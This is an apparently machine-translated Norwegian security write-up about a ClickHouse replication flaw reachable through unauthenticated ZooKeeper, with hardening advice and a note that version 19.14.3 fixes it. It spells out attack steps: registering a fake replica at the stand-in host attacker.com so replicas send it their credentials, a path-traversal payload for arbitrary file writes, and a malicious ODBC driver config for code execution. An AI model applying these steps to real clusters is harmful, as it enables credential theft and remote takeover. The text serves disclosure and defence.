Hvorfor må du holde dyrehagens bur lukket?

Hvorfor må du holde dyrehagens bur lukket?

Denne artikkelen vil fortelle historien om en veldig spesifikk sårbarhet i ClickHouse-replikeringsprotokollen, og vil også vise hvordan angrepsoverflaten kan utvides.

ClickHouse er en database for lagring av store datamengder, som oftest bruker mer enn én replika. Clustering og replikering i ClickHouse er bygget på toppen Apache ZooKeeper (ZK) og krever skriverettigheter.

Standard ZK-installasjonen krever ikke autentisering, så tusenvis av ZK-servere som brukes til å konfigurere Kafka, Hadoop, ClickHouse er offentlig tilgjengelige.

For å redusere angrepsoverflaten bør du alltid konfigurere autentisering og autorisasjon når du installerer ZooKeeper

Det er selvfølgelig noen 0day-baserte Java-deserialiseringer, men forestill deg at en angriper kan lese og skrive til ZooKeeper, brukt til ClickHouse-replikering.

Når konfigurert i klyngemodus, støtter ClickHouse distribuerte spørringer DDL, som går gjennom ZK - for dem opprettes noder i arket /clickhouse/task_queue/ddl.

For eksempel oppretter du en node /clickhouse/task_queue/ddl/query-0001 med innhold:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

og etter det vil testtabellen bli slettet på klyngeserverne host1 og host2. DDL støtter også kjøring av CREATE/ALTER/DROP-spørringer.

Høres skummelt ut? Men hvor kan en angriper få serveradresser?

ClickHouse-replikering fungerer på nivå med individuelle tabeller, slik at når en tabell opprettes i ZK, spesifiseres en server som skal være ansvarlig for å utveksle metadata med replikaer. For eksempel, når du utfører en forespørsel (ZK må konfigureres, chXX - navnet på kopien, foobar - tabellnavn):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

noder vil bli opprettet kolonner и metadata.

Innhold /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Er det mulig å slå sammen data fra denne klyngen? Ja, hvis replikeringsporten (TCP/9009) på serveren chXX-address brannmuren vil ikke bli lukket og autentisering for replikering vil ikke bli konfigurert. Hvordan omgå autentisering?

En angriper kan lage en ny replika i ZK ved ganske enkelt å kopiere innholdet fra /clickhouse/tables/01-01/foobar/replicas/chXX og endre betydningen host.

Innhold /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Deretter må du fortelle de andre replikaene at det er en ny blokk med data på angriperens server som de må ta - en node opprettes i ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotont voksende teller, som skal være større enn den siste i hendelsesloggen):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

der kilde_replika – navnet på angriperens replika opprettet i forrige trinn, block_id – datablokkidentifikator, - "get block" kommando (og her er kommandoer for andre operasjoner).

Deretter leser hver replika en ny hendelse i loggen og går til en server kontrollert av angriperen for å motta en blokk med data (replikeringsprotokollen er binær, kjører på toppen av HTTP). Server attacker.com vil motta forespørsler:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

der XXX er autentiseringsdataene for replikering. I noen tilfeller kan dette være en konto med tilgang til databasen via hoved-ClickHouse-protokollen og HTTP-protokollen. Som du har sett, blir angrepsoverflaten kritisk stor fordi ZooKeeper, brukt til replikering, ble stående uten autentisering konfigurert.

La oss se på funksjonen for å få en blokk med data fra en replika, det er skrevet med full tillit til at alle replikaer er under riktig kontroll og det er tillit mellom dem.

Hvorfor må du holde dyrehagens bur lukket?
replikeringsbehandlingskode

Funksjonen leser en liste over filer, deretter deres navn, størrelser, innhold, og skriver dem deretter til filsystemet. Det er verdt å beskrive separat hvordan data lagres i filsystemet.

Det er flere underkataloger i /var/lib/clickhouse (standard lagringskatalog fra konfigurasjonsfilen):

flagg - katalog for opptak flagg, brukt i gjenoppretting etter tap av data;
tmp — katalog for lagring av midlertidige filer;
bruker_filer — operasjoner med filer i forespørsler er begrenset til denne katalogen (INTO OUTFILE og andre);
metadata — sql-filer med tabellbeskrivelser;
preprocessed_configs - behandlet avledede konfigurasjonsfiler fra /etc/clickhouse-server;
dato - selve katalogen med selve dataene, i dette tilfellet for hver database opprettes ganske enkelt en egen underkatalog her (for eksempel /var/lib/clickhouse/data/default).

For hver tabell opprettes en underkatalog i databasekatalogen. Hver kolonne er en egen fil avhengig av motorformat. For eksempel for et bord foobaropprettet av en angriper, vil følgende filer bli opprettet:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replikaen forventer å motta filer med samme navn når den behandler en datablokk og validerer dem ikke på noen måte.

Den oppmerksomme leseren har sannsynligvis allerede hørt om den usikre sammenkoblingen av filnavn i en funksjon WriteBufferFromFile. Ja, dette lar en angriper skrive vilkårlig innhold til en hvilken som helst fil på FS med brukerrettigheter clickhouse. For å gjøre dette, må replikaen kontrollert av angriperen returnere følgende svar på forespørselen (linjeskift er lagt til for å lette forståelsen):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

og etter sammenkobling ../../../../../../../../../tmp/pwned filen vil bli skrevet /tmp/pwned med innhold hellofromzookeeper.

Det er flere alternativer for å gjøre filskriving til ekstern kjøring av kode (RCE).

Eksterne ordbøker i RCE

I eldre versjoner ble katalogen med ClickHouse-innstillinger lagret med brukerrettigheter klikkhus misligholde. Innstillingsfiler er XML-filer som tjenesten leser ved oppstart og deretter cacher inn /var/lib/clickhouse/preprocessed_configs. Når endringer skjer, leses de på nytt. Hvis du har tilgang til /etc/clickhouse-server en angriper kan lage sin egen ekstern ordbok kjørbar type og utfør deretter vilkårlig kode. Nåværende versjoner av ClickHouse gir ikke rettigheter som standard, men hvis serveren ble gradvis oppdatert, kan slike rettigheter bestå. Hvis du støtter en ClickHouse-klynge, sjekk rettighetene til innstillingskatalogen, den må tilhøre brukeren root.

ODBC til RCE

Når du installerer en pakke, opprettes en bruker clickhouse, men hjemmekatalogen er ikke opprettet /nonexistent. Men når du bruker eksterne ordbøker, eller av andre grunner, oppretter administratorer en katalog /nonexistent og gi brukeren clickhouse tilgang til å skrive til den (SSZB! ca. oversetter).

ClickHouse støtter ODBC og kan koble til andre databaser. I ODBC kan du spesifisere banen til databasedriverbiblioteket (.so). Eldre versjoner av ClickHouse tillot deg å gjøre dette direkte i forespørselsbehandleren, men nå er en strengere sjekk av tilkoblingsstrengen lagt til odbc-bridge, så det er ikke lenger mulig å spesifisere driverbanen fra forespørselen. Men kan en angriper skrive til hjemmekatalogen ved å bruke sårbarheten beskrevet ovenfor?

La oss lage en fil ~/.odbc.ini med innhold som dette:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

deretter ved oppstart SELECT * FROM odbc('DSN=lalala', 'test', 'test'); biblioteket vil bli lastet test.so og mottok RCE (takk buglloc for tipset).

Disse og andre sårbarheter er fikset i ClickHouse versjon 19.14.3. Ta vare på ClickHouse og ZooKeepers!

Kilde: www.habr.com

Legg til en kommentar